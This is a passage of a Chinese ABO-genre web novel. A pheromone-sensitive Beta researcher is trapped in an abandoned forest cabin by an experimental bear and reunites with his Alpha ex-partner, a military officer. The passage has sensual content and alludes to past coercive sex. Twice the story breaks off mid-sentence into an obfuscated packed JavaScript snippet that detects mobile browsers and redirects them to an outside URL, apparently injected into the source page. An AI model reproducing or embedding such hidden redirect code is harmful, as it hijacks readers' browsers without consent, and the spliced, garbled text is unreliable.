像强调似的,他一连说了好几遍,“记得”“明白”“知道”。 “但现在,你选了我,至少说明我是最有用的。” ——而他,没用。 “对吗?” “……” 殊景无言以对。 三年来,他拒绝过很多人,Alpha一定会被排除在外,Beta也有,殊景都是拒绝,不给任何机会。 并非经历过一段失败的感情,就丧失希望。 生活一样过,只是那就像根仙人掌的刺,扎在肉里,即便时间长了,不疼了,每一次心跳,仍有感觉。 他不能骗自己,过往羁绊太深,在没彻底放下时,让另一个人为他飞蛾扑火,是不负责任。 可为什么又会答应祈继? 锲而不舍是一方面,更重要的原因,他是最恰当的时机出现的、最恰当的人。 不能再拖了,超感症让身体每况愈下,祈继长得像Alpha,能帮他挡住那些Alpha的追求,而他实际又是个Beta,不会引起超感症。 祈继就是他的屏蔽剂。 以前是屏蔽剂还没做出来,那如果屏蔽剂做出来了呢?他还能厚着脸皮去利用人家? 而如果他做不出屏蔽剂,如果他某天——突然猝死。 会给这个无辜的年轻人带来多大伤害? “我…” “嘘。”祈继将一根手指比在唇间。 “哥哥是重感情的人,不是你的错,是我自己想被你选的,只要你还需要我,我就什么都能为你做。” 祈继弯起唇角,两个梨涡深深,眼眶却在发红。 “我知道,如果我装作没那么在意哥哥,可能更容易被你接纳,但什么都好…我唯独装不出…不喜欢你的样子… “那太难了。” 微风拂动头发,细碎地扫过额前,殊景眼神颤动,彻底说不出话。 也许是被发梢刺激,那薄薄的眼皮染了一层绯色,瞳仁深处有什么清凌凌地晃。 掩饰一般,他抬手,却碰到祈继手指。 那几根手指撩开他头发,经耳根,最后小心停放在下颌。 这应该是他们之间有过最亲昵的互动了。 “哥哥,如果不去想那些让你为难的事,单单看着我,你讨厌我吗?讨厌我…碰你吗?” 讨厌吗?殊景问自己。 他沉默犹豫的样子,让祈继眼中闪过一丝微光,他声音更软,带着一点诱引:“实在觉得过意不去的话…给我一个小小的补偿,好不好?” 殊景抬头,看进祈继的眼睛。 那双眼圈还红着,眼眸深处有两簇小火苗,鲜艳,跳跃。 这个长相俊朗、少年感十足的青年,眼睛和头发都是暖色调的,热烈张扬。 身形却又可靠,足够将他笼罩。 月亮,星星,灯光,都成为宽阔肩后一线朦胧轮廓,护着他,就算有谁经过,也不会让别人窥见他一丝一毫。 越来越近。 近到殊景能闻到呼吸里的可可气味,他垂在身侧的手指战栗,像在经历某种激烈的心理斗争。 然而祈继已经低下了头。 两片温热嘴唇,轻轻落在鬓边。 3. 第 3 章 仿佛信徒朝圣他的神明。 蜻蜓点水一碰,不带任何情.欲。 可即便如此,祈继肩膀都有些发抖,像终于鼓足勇气,做了一直想做而不敢做的事,退开时,甚至紧张到同手同脚。 那双眼也更红,是那种过度兴奋而充血的红,目光更是左右飘忽不敢对视,可满满的情愫藏不住,激动又胆怯,生怕唐突他心中的珍宝。 一颗真心,就这么完整滚烫、毫无保留地捧到面前。 可最终却连讨吻,都只敢触及发梢。 “……” 殊景当然记得自己的初吻,那个人第一次吻他就极具侵略性。 那个和他一起长大、年长他三岁的人,引导他,教会他关于亲密关系的一切。 牵手、拥抱、亲吻甚至……做.爱。 是朋友,是亲人,是伴侣,却不是爱人。 不像祈继,总是用尽方式表达,想让他看见,听见。那个人从没说过那个字,喜欢也没说过。 殊景垂眼,目光落在祈继手上。 蜜色皮肤完全包裹他的,祈继的手真的很大,骨峰嶙峋,游走的筋络充满力量,握住他时却很轻。 仿佛随时准备,只要他流露一点不适就会立刻松开,指节粗糙,昭示主人从前生存的坎坷,掌心潮湿,热力却充沛蓬勃。 这方面也不像,那人的手虽然同样宽阔,但只有握笔和枪留下的些许薄茧,是一双养尊处优的手,多数时候都干燥微凉,从容笃定掌控所有。 可那一次,狠狠掐着他的腰,无论如何求他停下也不肯松手。 很讽刺。 第一次亲吻和最后一次做.爱,是那段逝去关系里唯二的两次,殊景感觉到“被爱”。 但都是因为信息素,Alpha信息素。 那人是Alpha,祈继是Beta。 他的现任和前任,是截然不同的两面。 就像此刻,祈继与他同路,会在他身边、在他身后,就算往前也会转回身,注意他的情绪,照顾他的节奏,还会因他的一点退缩,向他迈出一大步。 而那个人站在食物链顶端,就连分手都不曾低头。 因为那通电话,殊景发现他不仅想起前任,还开始拿祈继和前任对比。 这不公平。 在祈继惶惶不安的目光中,殊景终于给出回应:“不讨厌。”他难得勾起唇角,“等我出差回来,给你带礼物。” 祈继的表情瞬间被点亮:“真的?” “嗯。” 殊景做了一个决定。 三天后,抵达管制区外围时,他眺望通向深林的那条小路。 如果这趟旅程能让他找到银针草,解决超感症危机,他就拔掉那根刺,试着回应祈继。 “所以这次的目标就是这种草和石头?” 殊景与事先雇好的两名猎户会合,将银针草和陨石块的照片拿给他们辨认,进入管制区名额有限,过程也很危险,他没带项目组的同事。 林边有个村庄,三人暂时歇脚整装。 这村庄名叫齐家村,据说有些年头,管制区被封闭后,常住人口所剩寥寥,只有几家猎户还在,以捕猎附近鸟兽为生。 趁准备物资时,殊景站在外围高处观察地形。 这片区域形成于古陨石坑,全被原始植被覆盖,因发现过稀有矿植物,怀疑存在特殊辐射,曾长期隶属军方管辖,后来才解封,整体是低洼盆地,但内部也有坡度起伏,环境复杂。 殊景放下望远镜,在地图上做标记点。 翌日清晨,三人一同进山。 来之前,殊景就已经对银针草习性做过详尽调研,但理论背得滚瓜烂熟,真正从树根底下找到第一株时,他还是心头一松。 预计是场持久战,没想到过程意外顺利。 有了实物,之后可以依靠嗅觉,仅用半天时间就采集足量。 猎户直夸他“老把式”,殊景却道:“运气好。” 可好运气,总有用完的时候。 因为没找到陨石,他们打算下山换条路线,走出没多远,林间突然漫起大雾。 是的,突然。 三人面面相觑,停下商议对策。 殊景却在这时抬手,无声地摇了摇头。 两名猎户不约而同按住腰间的猎刀,他们也感觉到了。 有什么东西在靠近,很大,很重,每一步都让地面轻微震颤。 一声震耳欲聋的野兽的嘶吼。 浓雾被破开,那个巨大阴影朝他们扑来,竟是一头足有两米多高的棕熊! “这季节怎么会有熊!” 来不及考虑,三人立刻站成一团,各自拿武器展开防御。 可那头熊异常凶悍,不怕猎枪,子弹只能破开表皮,麻醉针射不进去,刀更是靠近不了它。起初抱团还能抵抗,直到一个猎户受伤,阵脚大乱,他们很快跑散。 棕熊似乎认定殊景体型最弱,对他紧追不舍。 殊景将身上的东西逐件扔掉,延缓它速度——背包、水壶、备用衣物……每扔一件,心就沉一分。 到只剩银针草和关键保命物品时,他终于看见一处躲避点。 是间木屋。 他冲进去,扣紧门栓和窗户。 原本殊景是想借这地方拖延一阵,并不指望能挡住那头野兽,可棕熊在离屋子几米外盘桓,时而站起时而俯身,却不再靠近。 它在忌惮什么? 殊景快速审视这处小屋。 屋内桌椅床板俱全,都积了厚厚一层灰,床上还有条毯子,已经出现风化痕迹,从墙皮霉斑判断,这里荒废多年。 地板随走动发出吱呀声,有处木板在殊景试探时直接断裂,露出底下黢黑的基架。 空气激起浮尘,殊景鼻子有些痒,他闻到奇怪的味道。 酸腥,腐败,令人不安。 不是单纯霉变,而是…殊景说不清,身体有些发凉。 但无论怎么看,这就是间供人临时住宿避险的普通小屋,殊景曾跟导师全国各地考察,见过不少这样的公共设施。 没有一间,能让熊不敢靠近。 不过它那样子也不准备就此离开,这样下去殊景会被耗死在屋里。 手机没信号,对讲机也受不明磁场干扰,从进山就有,这里格外强,指针乱跳。 不能坐以待毙。 殊景仔细检查四周,收集所有能用的东西。 当寻到墙角时,他眼睛一亮,那缝隙里居然长着几株野草,是种常见驱虫草。 但是这草……也很奇怪。 与山里枯草腐叶不同,它们绿得反常。 不是新芽嫩绿,而是油亮的墨绿,叶片肥厚,草间开着几朵淡紫小花。 冬天不该有熊,同样的,也不该开花。 殊景轻轻拨开草叶,砖墙裂缝里,露出一线土壤,颜色很深,像吸饱了养分的那种深,他捻了捻,土质疏松。 地图显示,这块盆地几乎没有地下水源。 木屋仅一扇窗,北向。 没水,没光。要形成这种肥力,除非土里埋了什么东西…… 殊景呼吸略微加快,那股奇怪的味道,随他鼻息时深时浅。 他不太想探究那“东西”是什么。 保命要紧。 殊景果断将驱虫草都收集起来,碾磨出汁液,制成简易诱导剂,手指到后来有点抖,跑了一路,到底体力不支。 他推开一点窗户,那头熊还在。 背包里还有一支采样针,但要扎进去,很难。 熊这种动物嗅觉灵敏视力不佳,殊景观察周围,计划用诱导剂干扰它方位判断,再利用屋后斜坡快速脱身。 他深吸气,正要行动—— 砰! 一声枪响。 殊景猛地缩回窗下,心脏狂跳。 等再次探出视线,透过窗缝,他看见有人举枪藏在树后。 枪管露出半截,不像猎枪。 他见过那种枪。 某个名字呼之欲出,刹那,被更合理的解释替代。 以前跟军方的合作项目里,殊景见过军官用枪,就是这种。 然而子弹击中棕熊,却只让它一晃,非但没能退敌,反而彻底激怒了那头猛兽。 持枪人迅速撤向另一处掩体。 他动作利落,反应极快,可就在这时,远处林间忽地闪过一束反光,紧接着是一阵金属敲击—— 棕熊扭头,跟随那点“引导”,发现男人藏身处! 它咆哮着,调转身躯直扑过去。 糟了! 变故太快,男人被利爪拍中,枪支脱手。 他踉跄了一下,迅速稳住重心,也亏他身手了得,否则普通人正面挨这一掌,恐怕当场就得重伤倒地。 男人敏捷躲开棕熊再次攻击,朝反光与声响传来的方向望去一眼。 林间树影斑驳,有道模糊人形一闪而过,没有逃离。 但是,就在殊景将窗户推开更多,举着弹弓露出半张脸时,那幽灵般徘徊不去的隐匿者,仿佛被光照到的影,转瞬消失无踪。 砰!淡绿粉尘在灌木丛爆散。 殊景将诱导剂射向了预定位置。 刺鼻气味弥漫,棕熊发出混乱的嘶吼,他正要执行原计划,从窗口跳出,整个身体却不受控地一颤。 Alpha信息素!那头熊身上居然传出类人信息素! 超感症让殊景瞬间脱力,他忙拿出屏蔽剂,这次却一点作用都没有。 这种状态出去,根本不可能逃脱,只会成为盘中餐。 殊景以为这就是最麻烦的状况了,可他万万没想到,更麻烦的还在后面。 那个受伤的男人…… 借助诱导剂创造的间隙,那人摆脱棕熊,朝这边疾奔而来,越来越近。 甚至不用很近,当他从树后彻底现身,殊景砰地关闭窗户,脑中就只剩一个念头。 跑,离开这里。 咔嚓几声,门栓被军刀轻易撬开。 跑不掉了。 身形高大的男人单腿踏入屋内,带进一身血腥与寒气,目光警惕沉冷,却在看清窗下倚靠的人影时,猛地一滞,脚步也随之顿住。 废弃小屋里,空气凝结。 棕熊信息素已经压得殊景够呛,另一股Alpha信息素也强势出现。 太熟悉了。 他咬紧嘴唇,低头别开眼。 没人会想在这么狼狈的时候和前任重逢,但天总不随人愿。 棕熊咆哮声变弱,陆言彰反手关上门。 鲜血滴在地板,溅起尘灰,野战军服的袖子被染成深色,他右臂下垂,背靠门对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17405122|200463||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着加密通讯器低声下令:“发现那头熊了,你们留在原地,避免打草惊蛇。” “是,长官,刚得到消息,K9可能在您附近。” “那个黑客?他也是为了…” 陆言彰没继续说出后面“B转O”这几个字,“不用管他,先稳住那边…” 他不露痕迹偏移视线,当看到殊景抱着背包,坐到离门最远的角落时,那种一直沉稳的语气终于变了变,眼皮下压出细细的褶,神情晦涩。 “…我这里需要时间。” 陆言彰切断通讯,从口袋取出一小卷绷带,撕开咬住一端。 他开始单手给伤口做包扎,因为侧着脸,颈部线条拉紧,墨色内衬包裹住皮肤,隐约可见血渍。 即便是这种粗粝野性的装束,穿在陆言彰身上也是优雅禁欲的,甚至作战服中和了英俊容貌里不近人情的冲击力,更加显出内敛克制,暗藏锋机。 他的信息素,也一样。 经年焚香,通透而不轻浮,凛冽而不张扬,初闻会是檀木幽远,继而烟感泛上,宛如秋日午后,时光在香炉边走得格外慢。 这理应是种会让人舒适的味道,可殊景每次,都只感到压力。 屋里屋外都是信息素,殊景不懂它们的具体含义,棕熊显然在发怒和攻击,而陆言彰…… 焚香浓度达到1500PU,逼近普通Alpha易感期的水平。 是因为受伤吗? 越是高等级Alpha,身体防御反应会越强烈,那是生物本能,殊景理解,既没有借口,也不可能让一个伤患停止释放信息素。 超感症带来的眩晕和窒息,让他几乎坐不住,耻骨缝都在疼,酸酸涩涩的疼。 殊景齿关咬紧,等这一阵过去。 包扎的窸窣渐渐停息,屋内持续静谧。 最终还是男人的声音率先响起,“等我恢复体力,带你出去。” 没有回应。 殊景睫毛微垂,像在闭目养神。 陆言彰刚弄好的绷带,又渗出新的血迹,白纱布晕开一小团,在撕坏的袖管间起伏,肌肉块垒被挤压,线条分明,宛如某种兽类。 那力度有多可怖,殊景知道,身体条件反射地蜷了蜷。 可是,那团红色太过刺眼,他想忽略都不行。 这种撕裂伤,只靠包扎,不用抗生素和止血粉,很容易感染。 如果陆言彰失血过多倒下了…… 心脏微微一抽,殊景不想承认这种反应源自什么,他更清楚,只有伤情稳定,信息素平息,超感症才能缓解,而且要想活着出去,多一个人是助力。 活下去,治好超感症,其他都不重要。 殊景勉强站起身。 陆言彰倚靠门板坐着,从最初那一眼过后,目光就与某个位置错开斜角,像始终平视前方。 直到这时,瞳孔才跟着,轻微地动了一下。 他其实一直没移开过视线。安静,黏稠,目不转睛看殊景向他靠近。 而那只受伤的右手搭放在膝盖,手背筋络舒张,缓慢滑移,仿佛竭力控制什么。 “你的伤,不能这样处理。” 殊景来到他身边,陆言彰才骤然回神,松了手,手指看似因疼痛轻微颤抖,但那些鼓胀的青筋,没能第一时间收束。 他将手垂放在一边,嗓音喑哑,质感略冷,“我自己来…” “有血腥味。”他补充道。 殊景:“……” 受伤当然有血腥味,也不是闻不了,他天生嗅觉灵敏,陆言彰知道,可他并不知道他的超感症。 身体早就超出负荷,全凭意志支撑,殊景打开刚整理好的急救包,把要用的东西取出来,合上背包时,拉链忽然拉不动。 靠近陆言彰容易,要想从信息素源头离开,却变得异常艰难。 他真应该,直接把东西扔过去的…… 殊景额角沁出汗珠,顺脸颊滑下,洇入干燥的唇边,他用力抿了抿,低头调整,不让对方发现他的窘境。 也因此,他没察觉陆言彰的目光。 信息素掩盖了那种发烫的视线。 无论是白皙皮肤上一片过敏似的红,亦或被划破的冲锋衣下,露出的那段腰线。 内里衣物紧贴着,显得腰身细窄,像一株花枝,被什么肆意摧折过。 全部这些,从陆言彰的视角,都一清二楚。 他面无表情,眉间尽是上位者的沉肃冷漠,喉结缓缓咽动,深灰眼眸愈发幽邃。 殊景总算站住了,可刚试着迈步,双腿蓦地一软。天旋地转间,一只强有力的手臂揽住他的腰,将他接住。 焚香信息素中,隐约有酒味逸散而出,宛如烟熏火燎里窜出的一条漆黑小蛇。 这是种昂贵陈酿的气息,出现在荒山野岭的这处木屋里,如同猛兽洞开兔穴,本身就是危险的讯号。 可殊景闻不到,和从前一样,与陆言彰贴紧的瞬间,他的身体就被迫充盈,反应也开始混沌。 那缕酒味浓度太低,完全被焚香盖过。 额角的汗渗出更多,淌进眼尾,刺痛让殊景眯起眼,晶莹在睫毛间碎开,晕出些许靡红。 像从梦里醒来,殊景缓慢回复意识。 他正坐在陆言彰怀里。 军装皮带的金属扣冰冷坚硬,就抵在他最柔软的地方。 4. 第 4 章 殊景脑子里嗡地一声。 像只受惊的鸟,掉进危险的第一反应就是扑腾翅膀,他挣扎起身,刚撑起一点又往下坠。 落回时顾及陆言彰右臂的伤,想向左偏,小腿却没能跨过去,膝盖被迫折向男人腹部,碾过腹肌。 陆言彰闷哼,扶持的力道收紧。 不像被撞到伤口,倒像要将人箍住。于是殊景不仅没挣开,反而把自己更严丝合缝嵌进那双长腿间。 而那只戴着军用手套的左手,扣在他身后,掌骨与指尖各执一端,单手就能将他的腰完全掌握。 仅存的力气被耗尽,殊景身体发软,不得不抬手抵住对方胸膛,并飞快敛下眼睫。 但都是徒劳,这个姿势,他面对面坐在他腿上,因此还要高出一截,当陆言彰抬起眼皮,殊景终究没能避开。 四目相对。 无论是掌下心脏沉稳的跳动,还是健壮成熟的肌肉触感,即便现在这个角度,自下而上,男人压低的眉骨依旧带着掌控欲,五官立体深邃,鼻梁轮廓锋利,深灰眼眸沉如雾霭,辨不出情绪。 对曾经的伴侣而言,这具身体、这个眼神,都太熟悉了。 这是个暧昧而危险的姿势,也是个足以唤醒太多回忆的姿势。 “抱歉,刚才…没站稳。” 殊景强迫自己忽略腰间那种存在感,衣服在逃亡中被划破,对方拇指恰好抵住他腰窝某处的凹陷。 那是他以前,每次都会放的地方。 掌心传来轻颤,陆言彰能感觉怀中人在发抖,“你身体不对。”他注视那张苍白的脸,“哪里受伤了?” “没有。”殊景镇定道。 陆言彰的手却已经探向他衣襟,从领口碰到皮肤。 湿的。 “衣服湿了。” 殊景才惊觉自己出了一身冷汗。 他打了个寒噤,那只手居然开始解他的扣子,殊景忙抓住他,“陆言彰!” 男人动作停了停,扣住殊景手腕,外套和毛衣接连剥落,动作熟稔到像用钥匙开自家的门,哪怕单手,也能轻易完成这件事。 很快,最里面湿透的底衫被褪下,殊景整个上身暴露在空气中。 他强忍哆嗦,既没后缩,也没试图遮掩,纤薄脊背挺得笔直。 只是那截眼尾有些泛红。 作战服外套及时披上,带着Alpha的体温,干燥温暖,驱散湿寒。 陆言彰不发一语,替殊景拢紧衣襟,指尖不可避免擦过他下颌。 很轻的一触,却让殊景浑身泛起异样的麻。 ……又来了。 每次和陆言彰……都是这样。 别的Alpha信息素,对他影响有限,但陆言彰不一样,信息素太过,时间太长。 疼,又不全是疼。 像被什么强行灌醉。 明明诊断结论说,再接触高强度信息素可能引发休克,但陆言彰这么强的信息素,他却硬生生撑到现在,都没晕过去。 如果晕过去,倒也好了。 殊景感到一阵心悸,眼里咸涩回流,尝到口腔里的铁锈味。 不想承认,但这个男人的确还能影响他。 压抑、不甘、愤懑,直到下巴被两根手指轻轻捏住。 “别咬。”陆言彰沉声道。 殊景别过脸。 那指尖的力度便重了些,“听话。” 或许是因为握枪习惯,也可能是其他原因,陆言彰左手食指第一指节有类似增生的变形,但极细微,这一用力才稍稍显现。 殊景看见了,也看见了陆言彰绷带上的血迹。 “……”他没再试图顽抗,放松牙关,双手攥住衣领,把自己裹得更紧一些。 可殊景实在太虚弱了,这件外套对他来说也过于宽大,很容易看见里面。 像煮熟的小鸟蛋,蛋壳裂开口子,露出滑嫩的蛋白。 陆言彰指腹还压着殊景下颌,细腻软肉被捏出一道不浅的红痕,下唇咬得微肿,周围太冷,张着嘴时,湿热地往外冒着白雾。 Alpha呼吸微重。 殊景总算被松开钳制,却发现陆言彰在解他自己内里的野战服。 那件专业装备远比普通衣物御寒,殊景看出他意图,“不用了,不需要…也不合适。” 男人一怔,捡起地上被脱下的衣物。 除去打湿的那件底衫,他重新为殊景从里到外穿好,最后再把作战服包上去,腰间系个松紧适中的结,像裹粽子,一粒米都没露出来。 做完这些,陆言彰左手下滑,圈住殊景膝窝,将人单手托抱,同时抬眼,像在预估什么,而后从靠门坐着的姿态起身。 高度瞬间拔升,殊景下意识扶住陆言彰肩膀。 双腿都被扣住,他完全是半坐在陆言彰肩臂处,腿根后侧能清晰感受到因用力而臌胀的坚实肌群。 这种抱法,根本不容他有丝毫拒绝余地。 殊景脸色涨红,张了张嘴,又深知这人行事风格,只好抿紧唇,盯着地面。 陆言彰起先走回殊景原来坐的那个角落,目光扫过地面苔藓,微皱眉,转而来到屋内唯一那张木板床前。 床上只有一条旧毯,他将毯子翻转,用相对干净一面铺好,才把人安置上去。 放殊景下来时,拿受伤的右手托住他后脑,避免磕碰。 随后陆言彰回到门边坐下,侧身朝向背光一面、殊景看不到的角度,自行处理伤口。 清理、上药、重新包扎,单手操作稳当利落,大臂外侧被利爪撕扯得皮开肉绽,他却连眉头都没皱一下。 衣服最后整理妥当,衣领扣到最上方,忽略手臂的伤和袖管破损处,细节一丝不苟,如同即将踏入会议现场。 至此陆言彰便靠门坐着,不再有动静。 沉稳、克制、游刃有余,永远完美的贵公子。 果然还是那个陆言彰。 胸腔里说不清道不明的情绪被压下,现在不是想这些的时候,他们一个受伤失血,一个身体虚弱,都需要养精蓄锐。 殊景彻底冷静,用呼吸法对抗不适。 在极度疲惫与神经痛中挣扎了不知多久,周围空气浮起暖意。 殊景睁眼,一团火光跃入眼帘。 陆言彰正在床前三尺处,将几根枯枝投入火堆,右臂绷带血渍暗沉,看来已经凝固。 察觉到殊景醒来,他起身退开,重新坐回门边的阴影里。 床角,整齐叠放着一件衣服,焰光在浅灰色布料上摇曳,它显然刚被烤干。 信息素的压迫感已经消失,那衣服只散发着熏烤过程中自然沾染的草木灰味道,和焚香味有些相似。 殊景瞥一眼背对他的陆言彰,放弃了将衣服脱了再穿的念头。 屋外传来声响,像爪趾反复刮过地面,那头熊还在,它的信息素也趋于平稳,夜风里只余枯枝土腥气。 殊景抓起一根燃烧的木头,从窗户扔了出去。 野兽通常都怕火,可那火把刚落地,就被熊掌踩碎,火星溅入泥土,它甚至低头嗅了嗅。 “它是实验动物,常规手段无效。” 殊景闻言:“什么实验?” “……”陆言彰语气微顿,“不确定,还在查。” 联想到那股类人信息素,果然事出有因,殊景沉思片刻。 实验动物,不冬眠,不怕火,却不敢冲击木屋,这屋子里有什么? 陈旧摆设、锈蚀工具、粗糙砖墙…… 角落里一大片蜘蛛网,小蜘蛛正安静栖息,而往下,几株草杆光秃秃生长在那里。 虽然被拔掉叶片,但还是能看出,这些草与众不同的长势。 殊景刚转身,就与一道目光撞个正着。 陆言彰也在打量这屋子,两人隔着半室火光对视。 是从少年时代就有的默契。 虽然和前任重逢不算可喜可贺,但殊景也无法否认,这种时候一个心照不宣的眼神,所带来的安定感,是独一份的。 他再度看向窗外,似乎在考虑。 终于没有信息素干扰,能够专心致志,而他一旦沉入思考,很容易和外界隔离,眼里除了目标,装不进任何东西。 “窗口风大。” 那道沉稳声线打断他思绪,殊景关上窗:“你们在找这头熊?” 他眼睛朝向火光,浓密睫毛投出两弯阴影,像振翅欲飞的蝶翼,又恢复了往日的淡漠疏离。 陆言彰移开视线,“找了一段时间。” 那就是先前都没找到。 殊景坐回床边,“我们下山时起了浓雾,然后它就出现了。” “浓雾?…具体时间?” “三点左右。” 陆言彰打开仪表,“…确实有过异常湿度峰值,但没有成雾条件。” 他没再说下去,但殊景明白,那雾可能不是自然形成的。 “你为什么来?”陆言彰忽然问。 殊景:“做采集。” “采到了?” “嗯。” 话题到此中断,片刻后,陆言彰从门口起身。 殊景下意识退了退。 陆言彰往火堆里添了两根柴,抬眼就见殊景警惕地盯着自己。 作战服外套肩线很宽,衬得殊景的脸愈发精致小巧,乌黑头发软软的,有些凌乱,像雏鸟浑身的毛炸开,蓬松一团,眼睛格外灵动。 打过瞌睡,果然精神些。 陆言彰手指忍不住攒了攒,仿佛从殊景腰后蹭到的那一滴汗液,还潮湿地黏在指尖。 他从怀中取出一支军用营养剂,殊景戒备的表情就变成有那么一丝丝疑惑。 小鸟毛更蓬松了…… 陆言彰走过去,将营养剂轻放在床沿,多停留两秒才松开。 殊景迟疑地看向那支营养剂。 是他一惊一乍了,陆言彰看起来很稳定,不在易感期,没有任何威胁。 他抿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17405123|200463||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 唇,低声道,“谢谢。” 陆言彰眸色深了些,几步回到门边,状似观察外面。 已经进入后半夜,棕熊在踩碎那根火把后,没多久就彻底安静下来,但想趁它睡着逃走,显然不可行,这时候出去不是摔死,就是冻死。 殊景琢磨着,拧开营养剂。 铝制管身应该是冰凉的,这会儿却很温热。 他一边小口嘬吸,一边考虑各种对策,直到陆言彰忽然侧头,视线捕获到他。 猝不及防,殊景差点呛到,捂着嘴低低咳嗽,肩膀轻微地抖。 他皮肤白,没挡住的脸和脖子灌了烈酒一样潮红,耳垂更像两粒透粉的珍珠。 “……”陆言彰这次没能移开视线,舌尖无意识碾过齿根:“等明早,我可以处理那头熊,不用担心。” 处理?殊景眉头蹙起。 论单打独斗,陆言彰罕有对手,但面对那种体型的野兽,硬碰硬就算赢了也得丢半条命,那只受伤的右手就是明证。 “它是实验体,信息素压制可能对它无效。” “还有别的方式。” 殊景当然明白所谓的方式,无非是引开危险,让他这个累赘先跑。 陆言彰有次出任务受重伤,自己躲起来疗养,直到快好了才出现,殊景甚至是从别人嘴里听说那件事。 殊景不想浪费时间,也不想看到无谓的伤亡,“要不要听听我的想法?” 陆言彰眉梢抬了一下。 殊景现在已经确定,连陆言彰这种等级都不能正面对付,那熊绝对不简单,他的采样针就算刺中,多半也起不到效果。 必须找弱点。 “你试过攻击心脏,我也试过,它皮脂太厚刀枪不入,你说它是实验动物,我猜…它应该经过改造?比如,移植腺体?” 殊景目光在陆言彰颈后极快掠过,他不能说出自己对信息素的感知,但可以侧面推断,这符合他的职业。 更符合两人共同的“阅历”。 陆言彰沉默着,听殊景继续道,“腺体必须在表层才能发挥作用,而且一定连接动脉。” 无论多强大的Alpha,腺体都是致命弱点。 “我能找到它的位置。” “……”陆言彰眼神变了,“怎么找?” “我也有我的方式。”殊景没忽略那种表情,反问:“你是不是觉得我没能力自保?” 陆言彰:“……” 殊景并不畏怯地与他对视,面容在火光摇曳中尤为清丽动人,像温室里长出的最隽永的花。 “我没这样想,而且今天你救了我。” “换做任何人我都会救。”殊景淡道,“只是原则,现在先休息,明早我们合作。” 原则,合作,无关旧情。 陆言彰胸口像被什么东西重重撞了一下。 夜色愈深,林间风如鬼啸,气温骤降。 资源有限,木柴只够维持床前那堆火,陆言彰把外套给了殊景,背靠漏风的木门坐着。 就算再怎样强迫自己无视,殊景仍旧无法忽略那些细节。 比如,男人颈侧肌肉正微微绷紧,唇色比最初暗沉。 他不想注意的。 可原本都躺下了,殊景又坐起身。 他静默地看了陆言彰片刻,那人闭着眼,眉间凝着惯有的冷硬、和泰山崩于前也不改色的自若。 终于,殊景脱掉外套,轻手轻脚下床。 Alpha敏锐的感官罕见地慢了半拍,等殊景已经走到近前,将外套展开,即将给他披上,陆言彰才睁开眼。 深灰眸子映出亮橘,像冻住的火苗猝然恢复跳动。 殊景手一抖,那件衣服落在男人膝盖。 他快速退回床边,捡起自己的冲锋衣胡乱裹上,面朝墙躺着。 “……” 陆言彰捏着外套布料,指尖摩挲,像抚摸上面残留的体温。 半晌他起身,高大影子被火光拉长,稠黑一片,沉甸甸笼罩了床上的人。 小鸟团紧羽毛,贴着墙瑟缩。 他温柔的Beta在怕他。 陆言彰假装没看到这小动作,目光掠过殊景露在衣领外的那截后颈,又极快收回。 “你的外套不能御寒,穿我的。” 殊景沉默,盯着墙面,那道影子就伫立在床边,强势且固执。 这场对峙毫无悬念,身上破洞的冲锋衣又变回那件作战服外套。 他闭上眼,心里乱七八糟,到底为什么总要多此一举? 陆言彰退回原地,火光将他半边身子映暖,另一半仍浸在寒夜。 殊景的冲锋衣被他仔细披好,明明破了洞且小太多,可陆言彰低头,高挺鼻梁轻轻蹭了蹭衣领。 是干净的植物气息。 三年了…… Alpha抬眸,床上,那只受惊的小鸟,终于安静地蜷在他的气味里。 而他,将那缕淡香悄悄吸入肺腑。 5. 第 5 章 天光破晓,棕熊俯趴在不远处。 殊景装好诱导剂,偏头看向陆言彰。 后者卸下多余装备,只留一把匕首,似乎休息得不错,动作自如,完全看不出失过血,也完全看不出……盯了人一夜。 “等我靠近到五米内,就能确定腺体位置。” 五米?陆言彰皱眉:“太近了。” “你和它周旋,我从侧面过去,有不对我们都立刻退回来。” 殊景举起弹弓瞄准,诱导剂从窗□□出。 尘雾扩散,棕熊左右张望,边原地打转边焦躁低吼。 信息素再度漫开,殊景强忍不适,抓住间隙推门,潜向预定的岩石掩体。 陆言彰凝住他,匕首在掌心无声转了一圈,也迅速朝相反方向移动。 计划顺利。 敌对信息素的出现,让棕熊立刻被吸引注意,它向Alpha所在处逼近,殊景趁机从岩石后现身。 十五米、十米…… 他渐渐能看见棕熊竖立的硬毛,听见它粗重的呼吸。 距离持续缩短。 就在即将进入五米范围的瞬间,那头熊突然毫无预兆转头,兽瞳准确锁定一丛灌木。 殊景就藏在那里! 不对。有诱导剂干扰,再加上陆言彰的信息素,它怎么会注意到一个完全没存在感的Beta? 殊景后背窜起寒意,立刻转身。 但已来不及,棕熊发出一声咆哮,撞开灌木,泥土飞溅。 “小景!” 焚香信息素轰然爆涨! 棕熊庞大身躯生生一滞,前肢跪地,挣扎着重新站起,又再次被更狠的威压摁下去。 信息素对撞激起气流,旋涡撕扯,枯叶狂卷。 殊景就位于正中央,那股焚香气息,不复温文尔雅,变得浓烈厚重、灼烫炽热,冷空气仿佛都被燎起火星。 殊景死咬住牙关没倒下。 就是现在,棕熊对抗陆言彰的瞬间,腺体位置,信息素浓度一定是最高的。 剧痛将感知逼至极限。 找到了! “左肩前侧…颈下三寸…”殊景声音嘶哑。 